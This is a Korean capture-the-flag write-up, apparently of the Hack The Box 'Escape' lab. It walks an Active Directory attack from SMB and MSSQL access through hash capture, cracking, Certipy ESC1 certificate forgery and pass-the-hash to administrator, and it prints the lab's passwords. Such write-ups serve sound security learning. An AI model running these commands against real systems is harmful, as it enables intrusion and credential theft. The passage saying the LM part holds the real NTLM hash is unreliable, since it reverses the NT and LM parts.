user.txt

  • nmap
  • 많은 포트가 열려있었고, Windows OS이며, 445가 열려있으므로 많이 수행해봤던 smb부터 공략해본다

  • enum4linux-ng → enum4linux-ng -A 10.0.0.1
1. SMB 1.0 : false
  > eternalBlue 불가
2. SMB signing required : true
  > NTLM relay 공격 불가
NTLM -> PTH
NTLMv2 -> Relay -> sigining -> crack

  • smbclient → smbclient -L //10.129.228.253 -N

  • /public 접근

Point
1. cloned mockup to a dedicated server
  > 다른 IP가 존재할 수 있음
2. PublicUser/GuestCantWrite1
3. Brandon / brandon.brown@sequel.htb
  > 메일 관련 또는, Brandon은 관리자일 수 있음
  • mssql 접속 시도 / 성공 → impacket-mssqlclient id:pw@server

spt_로 시작하는 테이블은 시스템 내부적으로 사용하는 프로시저 및 관리용 데이터 테이블
fallback_db : 장애 발생 시 복구를 위한 테이블
values : 뷰 테이블, 상태 코드, 옵션, 설정값들을 사람이 읽을 수 있는 네임으로 매핑해둔 테이블
monitor : 서버 성능, 시스템 모니터링 통계 데이터 저장 테이블
  • 유저 조회

  • 유저 외에도 여러 정보 수집을 위해 스키마 테이블을 많이 찾아봤지만, 큰 정보를 얻진 못했다
1. 테이블 섹션 내부 확인
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
2. 유저 확인
SELECT NAME FROM SYS.SERVER_PRINCIPALS
3. DB 찾기
SELECT NAME FROM SYS.DATABASES
4. VIEW 테이블 찾기
SELECT NAME FROM SYS.VIEWS
5. 현재 계정의 ROLE 확인
SELECT IS_SRVROLEMEMBER('sysadmin')
6. DB 외부 리소스 접근 및 스크립트를 실행 등을 신뢰할 수 있는지 확인하는 DB 속성
SELECT NAME FROM SYS.DATABASES WHERE is_trustworthy_on = 1
  • impacket -help를 사용하여 좀 더 얻을 수 있는 정보를 확인 해 보았고, trust_worthy_on 속성에서 특이점을 발견 하였다
  • trustworthy 속성을 통해 msdb에서 외부 리소스 접근 / 스크립트 실행을 하여 다음 스텝으로 넘어갈 수 있을거라고 생각했다

  • USE msdb
  • 그러나 pdf에서 작성 되어있듯, 조회만 가능했고 별다른 행위를 할 수 없었다

  • pdf를 다시 살펴보았을 때, 유독 Windows Authentication을 강조하는 것 처럼 보였다
  • DB 인증을 Windows Authentication을 통해 진행된다고 되어있어서, Windwos - ldap/NTLM을 생각이 이어졌다
  • ldap → 블러드 하운드
  • NTLM → PTH
  • 일단, 서버에 접근을 하여야 하니, NTLM 해시값을 구해야 했다

xp_dirtree
xp_fileexist
xp_subdirs
※ dirtree가 해시 탐지 성공률이 가장 높으며, 개발자들이 자주/디폴트로 열어놓는 프로시저
responder와 netcat
- responder : 네트워크 프로토콜 스푸핑 / 해시 캡처 도구
- netcat : TCP/UDP 연결 도구
  • 위 이미지에서 내가 캡처한 해시는 NTLMv2 이므로 PTH가 불가능 하다
  • 따라서, hashcat을 사용하여 해당 해시를 크래킹 해보려 했다
  • hashcat -m 5600 hash.txt —show

  • 로그인 실패 하였으나, 알고보니 Windows OS 기반 인증을 하기 위해선, -windows-auth 옵션을 추가해주어야 했다

  • sql_svc OS 계정으로 접속이 성공하였으나, mssql 내에서의 권한은 그대로였다

  • 그대로인 권한의 DB에서 열심히 단서를 찾아 다녔지만, 후에 다시 생각을 해보니 OS 계정을 땄는데 DB에서 놀고있음을 인지하였다
  • evil-winrm → wevilwinrm -i 10.129.228.253 -u sql_svc -p REGGIE1234ronnie

  • Desktop에 없었다

  • 해당 머신을 계속 뒤졌다

  • 못찾았다…net user 쿼리 동작하므로 bloodhound를 돌려본다

  • .\test.exe -c All -d sequel.htb

  • sql_svc 계정에 대해 조금 살펴보았고, outbound는 없었고 inbound만 있었다

Whisker&Rubeus
AD 계정에 허위 인증서를 심는 도구
Whisker.exe add /target:sql_svc -> sql_svc 계정에 인증서 등록
Rubeus.exe asktgt /user:sql_svc /certificate:... -> 티켓 요청
티켓 발급 후 sql_svc NTLM 해시 획득
  • 다음날 머신이 꺼져서 다시 실행하려 들어갔다가, 아래 문구를 실수로 읽었다
  • Ryan이 다음 단계임을 인지했다

  • 사실 해당 백업 파일을 이미 지나쳤었는데, 저 문구를 보고 다시 보니 id/pw로 보였다

  • user.txt 획득

root.txt

  • winPEAS 사용하고자 한다

  • 빨간색 하이라이트 부분
  • 숨겨진 파일 및 폴더

  • credential한 세팅이 있는 것 같다

  • 레지스트리 키 ?

  • 위험한 권한

  • 커버로스팅 티켓 발급 시, 암호화 알고리즘이 RC4 이므로 취약하다

Kerberoasting Attack(/w SPN)
SPN : Service Principal Name / AD에 담당 서비스를 등록하는 것
sql_svc 계정이면, mssql/dc.sequel.htb:1433 (SPN 등록)
https://www.xn--hy1b43d247a.com/credential-access/kerberos/kerberoasting
Kerberos
Windows AD 기반 환경의 기본 네트워크 인증 프로토콜
티켓 기반 인증 / 패스워드는 초기 티켓 발급 시 사용됨
제 3(DC) 존재
시간 기반 -> 시간 차이가 5분 이상이라면, 인증되지 않음(ClockSkew)
  • SPN에 등록된 계정이 없는 것 같다

  • 다시 또 한번 bloodhound 진행한다
  • 에러 발생

  • 에러 해결
  • 또 outbound가 없다

  • CrackMapExec 에러가 자꾸 발생하여, nxc로 전환하였다

  • 구동하긴 했는데, 의미있는 정보인가 ? 어떻게 사용하는지 잘 모르겠다

  • Certipy 도구는 Attack 까지 하는 도구로 보여진다

  • certipy-ad → certipy-ad find -u ‘Ryan.Cooper’ -p ‘NuclearMosquito3’ -target 10.129.228.253 -vulnerable

  • ESC1 취약점이 있다

  • ESC1 정의
  • 낮은 권한의 USER가 CA 등록 권한을 가지고 있으며, 관리자 승인 없이, 서명 인증 없이 가능하다
  • 즉, 해당 USER는 인증서가 발급이 가능하다
CA : Certificate Authority : 신분증 발급소
DC : Domain Controller : 최종 관문 / 계정 권한 관리, Kerberos 인증, LDAP 디렉토리

패스워드 인증 방식
1) Ryan ---(ryan/mosquito)---> DC
2) DC ---(TGT)---> Ryan
 
인증서 인증 방식(AD CS)
1) Ryan ---(ryan/mosquito)---> CA
2) CA ---(ryan.pfx)---> Ryan
3) Ryan ---(ryan.pfx)---> DC
4) DC ---(TGT)---> Ryan
  • 취약한 인증서는 UserAuthentication 이었으며 취약한 속성도 확인 하였다

  • 위조 인증서 획득!
  • certipy-ad req -u ‘Ryan.Cooper’ -p ‘NuclearMosquito3’ -target 10.129.228.253 -ca sequel-DC-CA -template UserAuthentication -upn administrator@sequel.htb
ryan 계정으로 ca에 접근하여 UserAuthentication 인증서 템플릿을 upn(USER PRINCIPAL NAME)을
administartor@sequel.htb로 발급 요청한 것

  • 이 인증서로 인증을 시도 하였으나, 실패하였다
  • 원인은 아까 확인했던 Kerberos 특징 / 인증서 시간이 5분 이상 차이나면 Skew 에러를 뱉는다

  • ntp를 꺼버리고, DC 서버 시간으로 맞춘 후 재시도 하였더니 성공하여 NTLM 해시를 찾았다

  • NTLM 해시를 hashcat으로 크래킹 하려 했으나, 자꾸 에러가 발생했다

  • NTLM 해시 크래킹은 NT는 고정값이고, 실제 해시는 LM으로, 저렇게 크래킹을 하고자 하였으면 LM 부분만 분리해서 hashcat을 사용했었어야 했다
  • LM 부분을 분리해서 hashcat을 돌렸으나 반응이 없었다

  • NTLM이므로, PTH 가능함을 뒤늦게 인지하여 시도하여 root flag 획득